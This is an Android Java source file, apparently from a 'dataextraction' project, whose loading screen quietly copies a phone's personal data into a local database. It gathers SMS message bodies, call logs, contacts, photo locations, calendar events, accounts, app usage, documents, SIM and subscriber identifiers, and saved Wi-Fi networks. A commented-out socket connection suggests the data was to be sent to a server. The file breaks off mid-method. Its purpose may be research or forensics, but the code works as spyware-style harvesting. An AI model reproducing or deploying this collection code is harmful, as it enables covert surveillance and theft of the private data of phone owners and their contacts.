LoadingActivity.java 34.3 KB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828
package com.example.dataextraction;


import android.Manifest;
import android.accounts.Account;
import android.accounts.AccountManager;
import android.app.Activity;
import android.app.AppOpsManager;
import android.app.usage.NetworkStats;
import android.app.usage.NetworkStatsManager;
import android.app.usage.UsageStats;
import android.app.usage.UsageStatsManager;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.LinkAddress;
import android.net.LinkProperties;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.RouteInfo;
import android.net.Uri;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.provider.CalendarContract;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.provider.Telephony;
import android.provider.UserDictionary;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.widget.Toast;

import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.LinkedList;
import java.util.List;

import androidx.annotation.NonNull;
import androidx.core.content.ContextCompat;


import com.google.gson.JsonObject;

import org.json.JSONException;
import org.json.JSONObject;

import io.socket.client.IO;
import io.socket.client.Socket;

import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;

public class LoadingActivity extends Activity {

    private Socket socket;
    DBHelper dbHelper;

    String[] permission_list = {
            Manifest.permission.READ_EXTERNAL_STORAGE,
            Manifest.permission.WRITE_EXTERNAL_STORAGE,
            Manifest.permission.READ_CALENDAR,
            Manifest.permission.ACCESS_NETWORK_STATE,
            Manifest.permission.ACCESS_FINE_LOCATION,
            Manifest.permission.READ_PHONE_STATE,
            Manifest.permission.GET_ACCOUNTS,
            Manifest.permission.READ_CONTACTS,
            Manifest.permission.READ_CALL_LOG,
            Manifest.permission.READ_PHONE_NUMBERS,
            Manifest.permission.READ_CONTACTS,
            Manifest.permission.READ_CALL_LOG,
            Manifest.permission.READ_SMS,
            Manifest.permission.ACCESS_WIFI_STATE
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_loading);


    }

    @Override
    protected void onResume() {
        super.onResume();

        AppOpsManager appOps = (AppOpsManager) getSystemService(Context.APP_OPS_SERVICE);
        int mode = appOps.checkOpNoThrow(AppOpsManager.OPSTR_GET_USAGE_STATS, android.os.Process.myUid(), getPackageName());
        boolean granted = (mode == AppOpsManager.MODE_ALLOWED);

        if (granted == false)
        {
            Intent intent = new Intent(android.provider.Settings.ACTION_USAGE_ACCESS_SETTINGS);
            startActivity(intent);
        }
        else {
            if(checkPermission()) {
//                try {
//                    socket = IO.socket("http://172.30.1.23:3000/");
//                    socket.connect();
//                    Log.i("SOCKET", "Connected");
//
//                }catch(Exception e){
//                    e.printStackTrace();
//                    Log.i("SOCKET", "Not Connected");
//                }

                startLoading();
            }
        }
    }

    public boolean checkPermission(){
        //현재 안드로이드 버전이 6.0미만이면 메서드를 종료한다.
        if(Build.VERSION.SDK_INT < Build.VERSION_CODES.M)
            return true;

        LinkedList<String> requestPerms = new LinkedList<>();
        for(String permission : permission_list){
            //권한 허용 여부를 확인한다.
            int chk = checkCallingOrSelfPermission(permission);

            if(chk == PackageManager.PERMISSION_DENIED){
                //권한 허용을여부를 확인하는 창을 띄운다
                requestPerms.add(permission);
            }
        }

        if(requestPerms.isEmpty())
            return true;

        requestPermissions(requestPerms.toArray(new String[0]),0);
        return false;
    }

    private void startLoading() {
        Handler handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                dbHelper = new DBHelper(getApplicationContext());
                dbHelper.open();
                getPhoto();
                //alert("alert","photo");
                Log.i("MYLOG", "DB HY Part:1/14");
                getVideo();
                //alert("alert","video");
                Log.i("MYLOG", "DB HY Part:2/14");
                getAudio();
                //alert("alert","audio");
                Log.i("MYLOG", "DB HY Part:3/14");
                getCalendarInfo();
                //alert("alert","calendar");
                Log.i("MYLOG", "DB HY Part:4/14");
                getNetworkInfo();
                //alert("alert","network");
                Log.i("MYLOG", "DB HY Part:5/14");

                getCallLog();
                //alert("alert","calllog");
                Log.i("MYLOG", "DB YM Part:6/14");
                getContact();
                //alert("alert","contact");
                Log.i("MYLOG", "DB YM Part:7/14");
                getSMSMessage();
                //alert("alert","sms");
                Log.i("MYLOG", "DB YM Part:8/14");
                getWIFI();
                //alert("alert","wifi");
                Log.i("MYLOG", "DB YM Part:9/14");

                getPhoneInfo();
                //alert("alert","phoneinfo");
                Log.i("MYLOG", "DB YY Part:10/14");
                getAccountInfo();
                //alert("alert","accountinfo");
                Log.i("MYLOG", "DB YY Part:11/14");
                getAppInfo();
                //alert("alert","appinfo");
                Log.i("MYLOG", "DB YY Part:12/14");
                getUsageStats();
                //alert("alert","usagestats");
                Log.i("MYLOG", "DB YY Part:13/14");
                getDocument();
                Log.i("MYLOG", "DB YY Part:14/14");
                dbHelper.close();

                finish();
                startActivity(new Intent(LoadingActivity.this, MainActivity.class));

                //alert("end", "end");

            }
        }, 2000);
    }

    public void getDocument() {

        String[] projection = {
                MediaStore.Files.FileColumns._ID,
                MediaStore.Files.FileColumns.MIME_TYPE,
                MediaStore.Files.FileColumns.DATE_ADDED,
                MediaStore.Files.FileColumns.DATE_MODIFIED,
                MediaStore.Files.FileColumns.DISPLAY_NAME,
                MediaStore.Files.FileColumns.TITLE,
                MediaStore.Files.FileColumns.SIZE,
                MediaStore.Files.FileColumns.DATA
        };

        String mimeType = "application/pdf";

        String whereClause = MediaStore.Files.FileColumns.MIME_TYPE + " IN ('" + mimeType + "')"
                + " OR " + MediaStore.Files.FileColumns.MIME_TYPE + " LIKE 'application/vnd%'";
        String orderBy = MediaStore.Files.FileColumns.SIZE + " DESC";
        Cursor cursor = getContentResolver().query(MediaStore.Files.getContentUri("external"),
                projection,
                whereClause,
                null,
                orderBy);

        int idCol = cursor.getColumnIndexOrThrow(MediaStore.Files.FileColumns._ID);
        int mimeCol = cursor.getColumnIndexOrThrow(MediaStore.Files.FileColumns.MIME_TYPE);
        int addedCol = cursor.getColumnIndexOrThrow(MediaStore.Files.FileColumns.DATE_ADDED);
        int modifiedCol = cursor.getColumnIndexOrThrow(MediaStore.Files.FileColumns.DATE_MODIFIED);
        int nameCol = cursor.getColumnIndexOrThrow(MediaStore.Files.FileColumns.DISPLAY_NAME);
        int titleCol = cursor.getColumnIndexOrThrow(MediaStore.Files.FileColumns.TITLE);
        int sizeCol = cursor.getColumnIndexOrThrow(MediaStore.Files.FileColumns.SIZE);
        int dataCol = cursor.getColumnIndexOrThrow(MediaStore.Files.FileColumns.DATA);

        if (cursor.moveToFirst()) {
            do {
                //Uri fileUri = Uri.withAppendedPath(MediaStore.Files.getContentUri("external"), cursor.getString(idCol));
                String mime = cursor.getString(mimeCol);
                long dateAdded = cursor.getLong(addedCol);
                long dateModified = cursor.getLong(modifiedCol);
                String name = cursor.getString(nameCol);
                String title = cursor.getString(titleCol);
                long size = cursor.getLong(sizeCol);
                String path = cursor.getString(dataCol);

                Log.i("documents", mime + ", " + dateAdded + ", " + dateModified + ", " + name + ", " + title + ", " + size + ", " + path);
                dbHelper.addDocumentInfo(cursor.getString(nameCol), cursor.getString(titleCol), cursor.getLong(addedCol)
                        , cursor.getLong(modifiedCol), cursor.getString(mimeCol), cursor.getString(dataCol),String.valueOf(cursor.getLong(sizeCol)));
            } while (cursor.moveToNext());
        }
    }

    public void getPhoto() {
        Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;

        String[] projection = new String[]{
                MediaStore.Images.Media.TITLE,
                MediaStore.Images.Media._ID,
                MediaStore.Images.Media.DATE_ADDED,
                MediaStore.Images.Media.DISPLAY_NAME,
                MediaStore.Images.Media.MIME_TYPE,
                MediaStore.Images.Media.DATA,
                MediaStore.Images.Media.LATITUDE,
                MediaStore.Images.Media.LONGITUDE
        };
        Cursor cursor = getContentResolver().query(uri, projection, null, null, null);


        while (cursor.moveToNext()) {
            photoItem photo = new photoItem();
            photo.setTitle(cursor.getString(0));
            photo.setId(cursor.getInt(1));
            photo.setDate(cursor.getString(2));
            photo.setDisplayName(cursor.getString(3));
            photo.setType(cursor.getString(4));
            photo.setPath(cursor.getString(5));
            photo.setLatitude(cursor.getString(6));
            photo.setLongitude(cursor.getString(7));


            File f = new File(cursor.getString(5));
            long size = f.length();

            dbHelper.insertPColumn(photo.getTitle(), photo.getId(), photo.getDate()
                    , photo.getDisplayName(), photo.getType(), photo.getPath()
                    , photo.getLatitude(), photo.getLongitude(),String.valueOf(size));
        }

    }

    public void getVideo() {
        Uri uri = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;

        String[] projection = new String[]{
                MediaStore.Video.Media.ALBUM,
                MediaStore.Video.Media.ARTIST,
                MediaStore.Video.Media.BOOKMARK,
                MediaStore.Video.Media.CATEGORY,
                MediaStore.Video.Media.DESCRIPTION,
                MediaStore.Video.Media.LANGUAGE,
                MediaStore.Video.Media.LATITUDE,
                MediaStore.Video.Media.LONGITUDE,
                MediaStore.Video.Media.RESOLUTION,
                MediaStore.Video.Media.DATA,
                MediaStore.Video.Media.TAGS,
                MediaStore.Video.Media.DATE_ADDED,
                MediaStore.Video.Media.DISPLAY_NAME,
                MediaStore.Video.Media.MIME_TYPE,
                MediaStore.Video.Media.TITLE,
        };

        Cursor cursor = getContentResolver().query(uri, projection, null, null, null);

        while (cursor.moveToNext()) {
            videoItem video = new videoItem();

            video.setAlbum(cursor.getString(0));
            video.setArtist(cursor.getString(1));
            video.setBookmark(cursor.getString(2));
            video.setCategory(cursor.getString(3));
            video.setDescription(cursor.getString(4));
            video.setLanguage(cursor.getString(5));
            video.setLatitude(cursor.getString(6));
            video.setLongitude(cursor.getString(7));
            video.setResolution(cursor.getString(8));
            video.setPath(cursor.getString(9));
            video.setTags(cursor.getString(10));
            video.setDate_added(cursor.getString(11));
            video.setDisplay_Name(cursor.getString(12));
            video.setMIME_type(cursor.getString(13));
            video.setTitle(cursor.getString(14));

            File f = new File(cursor.getString(9));
            long size = f.length();

            dbHelper.insertVColumn(video.getTitle(), video.getDate_added(), video.getDisplay_Name()
                    , video.getMIME_type(), video.getPath(), video.getLatitude(), video.getLongitude()
                    , video.getAlbum(), video.getArtist(), video.getBookmark(), video.getCategory()
                    , video.getDescription(), video.getLanguage(), video.getResolution(), video.getTags(), String.valueOf(size));
        }
    }

    public void getAudio() {
        Uri uri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;

        String[] projection = new String[]{
                MediaStore.Audio.Media.ALBUM,
                MediaStore.Audio.Media.ARTIST,
                MediaStore.Audio.Media.COMPOSER,
                MediaStore.Audio.Media.YEAR,
                MediaStore.Audio.Media.DATA,
                MediaStore.Audio.Media.DATE_ADDED,
                MediaStore.Audio.Media.MIME_TYPE,
                MediaStore.Audio.Media.SIZE,
                MediaStore.Audio.Media.TITLE,
        };

        Cursor cursor = getContentResolver().query(uri, projection, null, null, null);

        while (cursor.moveToNext()) {
            audioItem audio = new audioItem();
            audio.setAlbum(cursor.getString(0));
            audio.setArtist(cursor.getString(1));
            audio.setComposer(cursor.getString(2));
            audio.setYear(cursor.getString(3));
            audio.setPath(cursor.getString(4));
            audio.setDate_added(cursor.getString(5));
            audio.setMIME_TYPE(cursor.getString(6));
            audio.setSize(cursor.getString(7));
            audio.setTitle(cursor.getString(8));

            dbHelper.insertAColumn(audio.getTitle(), audio.getDate_added(), audio.getMIME_TYPE()
                    , audio.getPath(), audio.getAlbum(), audio.getArtist(), audio.getComposer()
                    , audio.getYear(), audio.getSize());
        }
    }

    private void getCalendarInfo() {
        ArrayList<calendarItem> calendarList = new ArrayList<>();

        Cursor cur = null;
        ContentResolver cr = getContentResolver();
        Uri uri = CalendarContract.Calendars.CONTENT_URI;

        if (checkSelfPermission(Manifest.permission.READ_CALENDAR) != PackageManager.PERMISSION_GRANTED) {
            Toast.makeText(getApplicationContext(), "권한문제", Toast.LENGTH_LONG).show();
            return;
        }

        String[] event_projection = new String[]{
                CalendarContract.Calendars._ID,                           // 0
                CalendarContract.Calendars.ACCOUNT_NAME,                  // 1
                CalendarContract.Calendars.CALENDAR_DISPLAY_NAME,         // 2
                CalendarContract.Calendars.OWNER_ACCOUNT                  // 3
        };

        cur = cr.query(uri, event_projection, null, null, null);

        // Use the cursor to step through the returned records
        while (cur.moveToNext()) {

            long calID = 0;
            String displayName = null;
            String accountName = null;
            String ownerName = null;

            // Get the field values
            calID = cur.getLong(0);
            displayName = cur.getString(1);
            accountName = cur.getString(2);
            ownerName = cur.getString(3);

            Cursor cure = null;
            ContentResolver cre = getContentResolver();
            Uri urie = CalendarContract.Events.CONTENT_URI;

            String[] event_projection2 = new String[]{
                    CalendarContract.Events.CALENDAR_ID,                    //0
                    CalendarContract.Events.TITLE,                          // 2
                    CalendarContract.Events.EVENT_LOCATION,                 // 3
                    CalendarContract.Events.DESCRIPTION,                    // 4
                    CalendarContract.Events.DTSTART,                        // 5
                    CalendarContract.Events.DTEND,                          // 6
                    CalendarContract.Events.DURATION,                       // 9
                    CalendarContract.Events.ALL_DAY,                        // 10
                    CalendarContract.Events.RRULE,                          // 11
                    CalendarContract.Events.RDATE                           // 12
            };

            cure = cre.query(urie, event_projection2, null, null, null);
            while (cure.moveToNext()) {
                String calid = null;
                String title = null;
                String loc = null;
                String desc = null;
                long dtstart = 0;
                long dtend = 0;
                String duration = null;
                String all_day = null;
                String rrule = null;
                String rdate = null;

                calid = cure.getString(0);
                title = cure.getString(1);
                loc = cure.getString(2);
                desc = cure.getString(3);
                dtstart = cure.getLong(4);
                dtend = cure.getLong(5);
                duration = cure.getString(6);
                all_day = cure.getString(7);
                rrule = cure.getString(8);
                rdate = cure.getString(9);

                DateFormat timeFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
                Date start = new Date(dtstart);
                Date end = new Date(dtend);

                //save
                if (calID == Integer.parseInt(calid)) {
                    calendarItem calendar = new calendarItem();

                    calendar.setCalID(Long.toString(calID));
                    calendar.setDisplayName(displayName);
                    calendar.setAccountName(accountName);
                    calendar.setOwnerName(ownerName);
                    calendar.setTitle(title);
                    calendar.setLoc(loc);
                    calendar.setDesc(desc);
                    calendar.setDtstart(timeFormat.format(start));
                    calendar.setDtend(timeFormat.format(end));
                    calendar.setDuration(duration);
                    calendar.setAllday(all_day);
                    calendar.setRrule(rrule);
                    calendar.setRdate(rdate);

                    dbHelper.insertCColumn(calendar.getTitle(), calendar.getCalID(), calendar.getLoc()
                            , calendar.getDesc(), calendar.getDtstart(), calendar.getDtend(), calendar.getDuration()
                            , calendar.getAllday(), calendar.getDisplayName(), calendar.getAccountName()
                            , calendar.getOwnerName(), calendar.getRrule(), calendar.getRdate());
                }
            }
        }

    }

    public void getNetworkInfo(){
        ConnectivityManager connectivityManager;
        LinkProperties linkProperties;
        connectivityManager = (ConnectivityManager) this.getSystemService(Context.CONNECTIVITY_SERVICE);
        Network[] networkList = connectivityManager.getAllNetworks();
        networkDBHelper dbNHelper = new networkDBHelper(getApplicationContext());
        dbNHelper.open();
        dbNHelper.deleteAllRows();
        for(Network network : networkList){
            NetworkCapabilities capabilities = connectivityManager.getNetworkCapabilities(network);
            if(capabilities != null){
                if(capabilities.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR)){
                    linkProperties = connectivityManager.getLinkProperties(network);
                    String domain = linkProperties.getDomains();
                    String interfacrName = linkProperties.getInterfaceName();
                    //String DnsServerName = linkProperties.getPrivateDnsServerName();
                    dbNHelper.insertColumn0(network.toString(), domain, interfacrName);
                    List<InetAddress> inetAddresses = linkProperties.getDnsServers();
                    for(InetAddress address : inetAddresses){
                        dbNHelper.insertColumn1(network.toString(), address.getHostAddress());
                    }
                    List<LinkAddress> linkAddresses = linkProperties.getLinkAddresses();
                    for(LinkAddress address : linkAddresses) {
                        dbNHelper.insertColumn2(network.toString(), address.getAddress().getHostAddress(), address.getPrefixLength());
                    }
                    List<RouteInfo> routeInfos = linkProperties.getRoutes();
                    for(RouteInfo routeinfo : routeInfos){
                        dbNHelper.insertColumn3(network.toString(), routeinfo.getDestination().toString()
                                , routeinfo.getDestination().getPrefixLength(), routeinfo.getGateway().toString()
                                ,routeinfo.getInterface());
                    }
                }
            }
        }
        dbNHelper.close();
    }
//    private class GoogleAppIdTask extends AsyncTask<Void, Void, String> {
//        protected String doInBackground(final Void... params) {
//            String adId = null;
//            try {
//                AdvertisingIdClient.Info advertisingIdInfo = AdvertisingIdClient.getAdvertisingIdInfo(getApplicationContext());
//                adId = advertisingIdInfo.getId();
//                if (!advertisingIdInfo.isLimitAdTrackingEnabled())
//                    Log.d("adid : ", adId);
//            } catch (IllegalStateException ex) {
//                ex.printStackTrace();
//                Log.e("GoogleAppidTask","IllegalStateException");
//            } catch (GooglePlayServicesRepairableException ex) {
//                ex.printStackTrace();
//                Log.e("GoogleAppidTask","GooglePlayServicesRepairable Exception");
//            } catch (IOException ex) {
//                ex.printStackTrace();
//                Log.e("GoogleAppidTask","IOException");
//            } catch (GooglePlayServicesNotAvailableException ex) {
//                ex.printStackTrace();
//                Log.e("GoogleAppidTask","GooglePlayServicesNotAvailableException");
//            }
//            return adId;
//        }
//
//        protected void onPostExecute(String adId) {
//            //작업 수행
//        }
//    }

    public void getPhoneInfo(){
        TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
        if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
            Toast.makeText(getApplicationContext(), "권한문제", Toast.LENGTH_LONG).show();
        }

        String adid = "";
//        try {
//            MainActivity.GoogleAppIdTask asyncTask = new MainActivity.GoogleAppIdTask();
//            adid = asyncTask.execute().get();
//        }catch(Exception e){
//            e.printStackTrace();
//        }

        dbHelper.addPhoneInfo(tm.getPhoneType(), tm.getDeviceSoftwareVersion(),
                tm.getLine1Number(), tm.getSubscriberId(), adid, tm.getCallState(),
                tm.getDataState(),tm.getNetworkType(),tm.getNetworkCountryIso(),
                tm.getSimCountryIso(),tm.getNetworkOperator(),tm.getSimOperator(),
                tm.getNetworkOperatorName(),tm.getSimOperatorName() ,tm.getSimSerialNumber(),
                tm.getSimState(),tm.isNetworkRoaming());


    }

    public void getAccountInfo(){

        AccountManager am = AccountManager.get(this);
        Account[] accounts = am.getAccounts();

        for(Account account : accounts) {
            dbHelper.addAccountInfo(account.name, account.type);
        }
    }

    public void getAppInfo() {

        PackageManager pm = getPackageManager();
        List<PackageInfo> packages = pm.getInstalledPackages(PackageManager.GET_META_DATA);
        ApplicationInfo applicationInfo;
        NetworkStatsManager networkStatsManager = (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);


        for (PackageInfo packageInfo : packages) {
            try {
                applicationInfo = pm.getApplicationInfo(packageInfo.packageName, 0);
            } catch (final PackageManager.NameNotFoundException e) {
                applicationInfo = null;
            }
            String applicationName = (String) (applicationInfo != null ? pm.getApplicationLabel(applicationInfo) : "(unknown)");


            NetworkStats wifinetworkStats = null;
            NetworkStats mobilenetworkStats = null;
            try {
                wifinetworkStats = networkStatsManager.queryDetailsForUid(NetworkCapabilities.TRANSPORT_WIFI, "", 0, System.currentTimeMillis(), applicationInfo.uid);
            } catch (Exception e) {
                wifinetworkStats = null;
                e.printStackTrace();
            }
            try {
                Context context = getApplicationContext();
                String subscribedId = getSubscriberId(TRANSPORT_CELLULAR);
                mobilenetworkStats = networkStatsManager.queryDetailsForUid(NetworkCapabilities.TRANSPORT_CELLULAR, subscribedId, 0, System.currentTimeMillis(), applicationInfo.uid);
            } catch (Exception e) {
                mobilenetworkStats = null;
            }

            NetworkStats.Bucket wifibucket = new NetworkStats.Bucket();
            long wifirxbytes = 0;
            long wifitxbytes = 0;
            while (wifinetworkStats.hasNextBucket()) {
                wifinetworkStats.getNextBucket(wifibucket);
                wifirxbytes += wifibucket.getRxBytes();
                wifitxbytes += wifibucket.getTxBytes();
            };

            NetworkStats.Bucket cellularbucket = new NetworkStats.Bucket();
            long cellrxbytes = 0;
            long celltxbytes = 0;
            while (mobilenetworkStats.hasNextBucket()) {
                mobilenetworkStats.getNextBucket(cellularbucket);
                cellrxbytes += cellularbucket.getRxBytes();
                celltxbytes += cellularbucket.getTxBytes();
            };
            mobilenetworkStats.getNextBucket(cellularbucket);

            dbHelper.addAppInfo(packageInfo.packageName,packageInfo.versionName, applicationName,packageInfo.firstInstallTime, packageInfo.lastUpdateTime, wifirxbytes+wifitxbytes, cellrxbytes+celltxbytes);
        }

    }

    private String getSubscriberId(int networkType) {
        TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
        if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
            Toast.makeText(getApplicationContext(), "권한문제", Toast.LENGTH_LONG).show();
            return null;
        }
        else {
            if (ConnectivityManager.TYPE_MOBILE == networkType) {
                return tm.getSubscriberId();
            }
        }
        return "";
    }

    public void getUsageStats() {

        UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);

        List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_YEARLY, 0, System.currentTimeMillis());
        for (UsageStats usagestat : queryUsageStats) {
            dbHelper.addAppUsage_YEAR(usagestat.getPackageName(),usagestat.getFirstTimeStamp(),  usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
        }

        queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_MONTHLY, 0, System.currentTimeMillis());
        for (UsageStats usagestat : queryUsageStats) {
            dbHelper.addAppUsage_MONTH(usagestat.getPackageName(),usagestat.getFirstTimeStamp(),  usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
        }

        queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_WEEKLY, 0, System.currentTimeMillis());
        for (UsageStats usagestat : queryUsageStats) {
            dbHelper.addAppUsage_WEEK(usagestat.getPackageName(),usagestat.getFirstTimeStamp(),  usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
        }
        queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, 0,
                System.currentTimeMillis());
        for (UsageStats usagestat : queryUsageStats) {
            dbHelper.addAppUsage_DAY(usagestat.getPackageName(),usagestat.getFirstTimeStamp(),  usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
        }

    }


    public void getCallLog(){

        int permissionCheck = ContextCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.READ_CALL_LOG);

        Uri uri = CallLog.Calls.CONTENT_URI;

        if(permissionCheck == PackageManager.PERMISSION_GRANTED) {
            Cursor cursor = getBaseContext().getContentResolver().query(uri, null, null, null, CallLog.Calls.DEFAULT_SORT_ORDER);

            if(cursor.getCount() > 0){
                while(cursor.moveToNext()){
                    //1:수신, 2:발신, 3:부재중
                    String type = cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE));
                    //이름
                    String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
                    //번호
                    String number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                    //통화시간
                    String duration = cursor.getString(cursor.getColumnIndex(CallLog.Calls.DURATION));
                    //날짜
                    long date_long = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE));
                    DateFormat timeFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
                    Date date = new Date(date_long);

                    //db에 추가
                    dbHelper.insertCallLogColumn(type, name, number, duration, timeFormat.format(date));

                }
            }
        }
    }

    public void getContact(){
        Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;

        String[] projection = new String[]{
                ContactsContract.CommonDataKinds.Phone.NUMBER,
                ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
                ContactsContract.Contacts.PHOTO_ID,
                ContactsContract.Contacts._ID
        };

        String sortOrder = ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " COLLATE LOCALIZED ASC";

        Cursor cursor = getContentResolver().query(uri,projection,null,null,sortOrder);

        while (cursor.moveToNext()) {
            //전화번호
            String number = cursor.getString(0);
            //이름
            String name = cursor.getString(1);
            String photo_id = cursor.getString(2);
            String person_id = cursor.getString(3);

            //name, number 중복하는거 거르기
            //db에 추가
            dbHelper.insertContactColumn(number, name, photo_id, person_id);
        }
    }

    public void getSMSMessage(){
        Uri uri = Telephony.Sms.CONTENT_URI;
        String[] projection = new String[]{
                "type","_id","thread_id","address","person","creator","date","body","read"
        };
        Cursor cursor = getContentResolver().query(uri,projection, null,null,"date DESC");

        while (cursor.moveToNext()) {
            //Telephony.Sms.MESSAGE_TYPE_INBOX 받은 메시지/Telephony.Sms.MESSAGE_TYPE_SENT 보낸 메시지
            String type = cursor.getString(0);
            //메세지 id
            String mid = cursor.getString(1);
            //특정 사용자와 대화의 공통 id
            String tid = cursor.getString(2);
            //주소 번호
            String address = cursor.getString(3);
            //누가 보냈는지 contact
            //Telephony.Sms.MESSAGE_TYPE_INBOX only
            String person = cursor.getString(4);
            //Telephony.Sms.MESSAGE_TYPE_SENT only
            String creator = cursor.getString(5);
            //시간 ms
            Long date_long = cursor.getLong(6);
            DateFormat timeFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            String date = timeFormat.format(date_long);
            //내용
            String body = cursor.getString(7);
            //사용자가 메시지 읽었으면 1, 안 읽었으면 0
            String read = cursor.getString(8);

            //db에 추가
            dbHelper.insertSMSColumn(mid, tid, type, address, person, creator, date, body, read);
        }
    }

    public void getWIFI(){
        WifiManager wm = (WifiManager)getApplicationContext().getSystemService(Context.WIFI_SERVICE);
        //네트워크 설정 목록 획득
        List<WifiConfiguration> configurations = wm.getConfiguredNetworks();
        if(configurations != null){
            for(final WifiConfiguration config : configurations){
                //network id
                int i_id = config.networkId;
                String id = Integer.toString(i_id);
                //wifi 이름
                String ssid = config.SSID;
                //mac 주소
                String bssid = config.BSSID;
                //신호강도 (level)
                //연결 password
